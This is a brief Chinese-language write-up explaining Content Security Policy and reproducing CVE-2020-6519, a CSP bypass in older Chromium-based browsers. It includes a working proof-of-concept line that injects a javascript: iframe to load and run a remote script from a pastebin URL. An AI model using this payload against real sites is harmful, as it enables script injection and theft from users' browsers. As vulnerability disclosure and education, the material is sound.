csp簡介
CSP 的主要目標是減少和報告 XSS 攻擊 ,XSS 攻擊利用了瀏覽器對於從服務器所獲取的內容的信任。惡意腳本在受害者的瀏覽器中得以運行,因為瀏覽器信任其內容來源,即使有的時候這些腳本並非來自於它本該來的地方。CSP通過指定有效域——即瀏覽器認可的可執行腳本的有效來源——使服務器管理者有能力減少或消除XSS攻擊所依賴的載體。一個CSP兼容的瀏覽器將會僅執行從白名單域獲取到的腳本文件,忽略所有的其他腳本 (包括內聯腳本和HTML的事件處理屬性)。作為一種終極防護形式,始終不允許執行腳本的站點可以選擇全面禁止腳本執行;
CVE-2020-6519
影響范圍
內核 <= 84.0.4147.89
基於Chromium實現的瀏覽器,包括Chrome,windows Edge,不限平台
復現
在設置如下的csp策略時
<meta http-equiv="Content-Security-Policy" content="object-src 'none'; child-src 'none'; script-src 'self' 'unsafe-inline'">
設置如下的script標簽,是無法運行的
因為csp的策略,導致無法加載非本服務器的js腳本。
繞過方法,可以使用iframe標簽,src為javascript協議去繞過csp策略。如圖
top._CVE_URL='https://pastebin.com/raw/dw5cWGK6'
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'>;</iframe>"
完成poc
https://github.com/PerimeterX/CVE-2020-6519/tree/master/POC
參考
https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/